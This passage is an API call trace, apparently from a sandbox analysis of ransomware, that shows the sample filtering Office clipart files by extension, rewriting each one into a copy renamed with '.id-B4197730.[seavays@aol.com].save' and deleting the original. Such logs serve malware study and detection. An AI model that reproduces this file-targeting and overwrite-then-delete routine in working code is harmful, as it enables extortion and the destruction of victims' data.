lpString2=".BMP") returned 1 [0209.292] lstrlenW (lpString=".xls") returned 4 [0209.292] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0209.292] lstrlenW (lpString=".xlsx") returned 5 [0209.293] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1 [0209.293] lstrlenW (lpString=".ppt") returned 4 [0209.293] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0209.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0209.293] lstrlenW (lpString=".zip") returned 4 [0209.293] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0209.293] lstrlenW (lpString=".rar") returned 4 [0209.293] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0209.293] lstrlenW (lpString=".bz2") returned 4 [0209.293] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0209.293] lstrlenW (lpString=".7z") returned 3 [0209.293] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0209.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0209.293] lstrlenW (lpString=".dbf") returned 4 [0209.293] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0209.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0209.293] lstrlenW (lpString=".1cd") returned 4 [0209.293] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0209.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0209.293] lstrlenW (lpString=".jpg") returned 4 [0209.293] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0209.294] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0209.294] lstrlenW (lpString="J0102762.WMF") returned 12 [0209.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0209.294] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=11216) returned 1 [0209.294] CloseHandle (hObject=0x384) returned 1 [0209.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf")) returned 0x220 [0209.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0209.296] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.296] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0209.303] GetLastError () returned 0x0 [0209.304] ReadFile (in: hFile=0x384, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x2bd0, lpOverlapped=0x0) returned 1 [0209.305] WriteFile (in: hFile=0x388, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0x2be0, lpOverlapped=0x0) returned 1 [0209.307] ReadFile (in: hFile=0x384, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.307] WriteFile (in: hFile=0x388, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.307] SetEndOfFile (hFile=0x388) returned 1 [0209.307] CloseHandle (hObject=0x388) returned 1 [0209.307] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.307] SetEndOfFile (hFile=0x384) returned 1 [0209.309] CloseHandle (hObject=0x384) returned 1 [0209.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0209.309] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf")) returned 1 [0209.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0209.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0209.310] lstrlenW (lpString=".doc") returned 4 [0209.310] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.310] lstrlenW (lpString=".docx") returned 5 [0209.310] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0209.310] lstrlenW (lpString=".pdf") returned 4 [0209.310] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.310] lstrlenW (lpString=".xls") returned 4 [0209.310] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.310] lstrlenW (lpString=".xlsx") returned 5 [0209.310] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0209.310] lstrlenW (lpString=".ppt") returned 4 [0209.310] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0209.311] lstrlenW (lpString=".zip") returned 4 [0209.311] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.311] lstrlenW (lpString=".rar") returned 4 [0209.311] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.311] lstrlenW (lpString=".bz2") returned 4 [0209.311] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.311] lstrlenW (lpString=".7z") returned 3 [0209.311] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0209.311] lstrlenW (lpString=".dbf") returned 4 [0209.311] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0209.311] lstrlenW (lpString=".1cd") returned 4 [0209.311] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0209.311] lstrlenW (lpString=".jpg") returned 4 [0209.311] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0209.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0209.311] lstrlenW (lpString=".doc") returned 4 [0209.311] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.311] lstrlenW (lpString=".docx") returned 5 [0209.312] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0209.312] lstrlenW (lpString=".pdf") returned 4 [0209.312] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.312] lstrlenW (lpString=".xls") returned 4 [0209.312] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.312] lstrlenW (lpString=".xlsx") returned 5 [0209.312] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0209.312] lstrlenW (lpString=".ppt") returned 4 [0209.312] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0209.312] lstrlenW (lpString=".zip") returned 4 [0209.312] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.312] lstrlenW (lpString=".rar") returned 4 [0209.312] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.312] lstrlenW (lpString=".bz2") returned 4 [0209.312] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.312] lstrlenW (lpString=".7z") returned 3 [0209.312] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0209.312] lstrlenW (lpString=".dbf") returned 4 [0209.312] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0209.312] lstrlenW (lpString=".1cd") returned 4 [0209.312] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0209.312] lstrlenW (lpString=".jpg") returned 4 [0209.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.313] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0209.313] lstrlenW (lpString="J0102984.WMF") returned 12 [0209.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0209.313] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=17040) returned 1 [0209.313] CloseHandle (hObject=0x384) returned 1 [0209.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf")) returned 0x220 [0209.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0209.314] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.314] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0209.315] GetLastError () returned 0x0 [0209.315] ReadFile (in: hFile=0x384, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x4290, lpOverlapped=0x0) returned 1 [0209.699] WriteFile (in: hFile=0x388, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0x42a0, lpOverlapped=0x0) returned 1 [0209.701] ReadFile (in: hFile=0x384, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.701] WriteFile (in: hFile=0x388, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.701] SetEndOfFile (hFile=0x388) returned 1 [0209.702] CloseHandle (hObject=0x388) returned 1 [0209.702] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.702] SetEndOfFile (hFile=0x384) returned 1 [0209.703] CloseHandle (hObject=0x384) returned 1 [0209.703] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0209.703] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf")) returned 1 [0209.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0209.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0209.704] lstrlenW (lpString=".doc") returned 4 [0209.704] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.704] lstrlenW (lpString=".docx") returned 5 [0209.704] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0209.705] lstrlenW (lpString=".pdf") returned 4 [0209.705] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.705] lstrlenW (lpString=".xls") returned 4 [0209.705] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.705] lstrlenW (lpString=".xlsx") returned 5 [0209.705] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0209.705] lstrlenW (lpString=".ppt") returned 4 [0209.705] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0209.705] lstrlenW (lpString=".zip") returned 4 [0209.705] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.705] lstrlenW (lpString=".rar") returned 4 [0209.705] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.705] lstrlenW (lpString=".bz2") returned 4 [0209.705] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.705] lstrlenW (lpString=".7z") returned 3 [0209.705] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0209.705] lstrlenW (lpString=".dbf") returned 4 [0209.705] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0209.705] lstrlenW (lpString=".1cd") returned 4 [0209.705] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0209.705] lstrlenW (lpString=".jpg") returned 4 [0209.705] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0209.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0209.706] lstrlenW (lpString=".doc") returned 4 [0209.706] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.706] lstrlenW (lpString=".docx") returned 5 [0209.706] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0209.706] lstrlenW (lpString=".pdf") returned 4 [0209.706] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.706] lstrlenW (lpString=".xls") returned 4 [0209.706] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.706] lstrlenW (lpString=".xlsx") returned 5 [0209.706] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0209.706] lstrlenW (lpString=".ppt") returned 4 [0209.706] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0209.706] lstrlenW (lpString=".zip") returned 4 [0209.706] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.706] lstrlenW (lpString=".rar") returned 4 [0209.706] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.706] lstrlenW (lpString=".bz2") returned 4 [0209.706] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.706] lstrlenW (lpString=".7z") returned 3 [0209.706] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0209.707] lstrlenW (lpString=".dbf") returned 4 [0209.707] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0209.707] lstrlenW (lpString=".1cd") returned 4 [0209.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0209.707] lstrlenW (lpString=".jpg") returned 4 [0209.707] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.707] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0209.707] lstrlenW (lpString="J0105238.WMF") returned 12 [0209.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0209.708] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=17172) returned 1 [0209.708] CloseHandle (hObject=0x384) returned 1 [0209.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf")) returned 0x220 [0209.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0209.708] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.708] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0209.722] GetLastError () returned 0x0 [0209.722] ReadFile (in: hFile=0x384, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x4314, lpOverlapped=0x0) returned 1 [0209.724] WriteFile (in: hFile=0x388, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0x4320, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0x4320, lpOverlapped=0x0) returned 1 [0209.726] ReadFile (in: hFile=0x384, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.726] WriteFile (in: hFile=0x388, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.726] SetEndOfFile (hFile=0x388) returned 1 [0209.727] CloseHandle (hObject=0x388) returned 1 [0209.727] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.727] SetEndOfFile (hFile=0x384) returned 1 [0209.728] CloseHandle (hObject=0x384) returned 1 [0209.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0209.729] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf")) returned 1 [0209.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0209.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0209.730] lstrlenW (lpString=".doc") returned 4 [0209.730] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.731] lstrlenW (lpString=".docx") returned 5 [0209.731] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0209.731] lstrlenW (lpString=".pdf") returned 4 [0209.731] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.731] lstrlenW (lpString=".xls") returned 4 [0209.731] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.731] lstrlenW (lpString=".xlsx") returned 5 [0209.731] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0209.731] lstrlenW (lpString=".ppt") returned 4 [0209.731] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0209.731] lstrlenW (lpString=".zip") returned 4 [0209.731] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.731] lstrlenW (lpString=".rar") returned 4 [0209.731] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.731] lstrlenW (lpString=".bz2") returned 4 [0209.731] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.731] lstrlenW (lpString=".7z") returned 3 [0209.731] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0209.731] lstrlenW (lpString=".dbf") returned 4 [0209.731] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0209.731] lstrlenW (lpString=".1cd") returned 4 [0209.732] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0209.732] lstrlenW (lpString=".jpg") returned 4 [0209.732] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0209.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0209.732] lstrlenW (lpString=".doc") returned 4 [0209.732] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.732] lstrlenW (lpString=".docx") returned 5 [0209.732] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0209.732] lstrlenW (lpString=".pdf") returned 4 [0209.732] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.732] lstrlenW (lpString=".xls") returned 4 [0209.732] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.732] lstrlenW (lpString=".xlsx") returned 5 [0209.732] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0209.732] lstrlenW (lpString=".ppt") returned 4 [0209.732] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0209.732] lstrlenW (lpString=".zip") returned 4 [0209.732] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.732] lstrlenW (lpString=".rar") 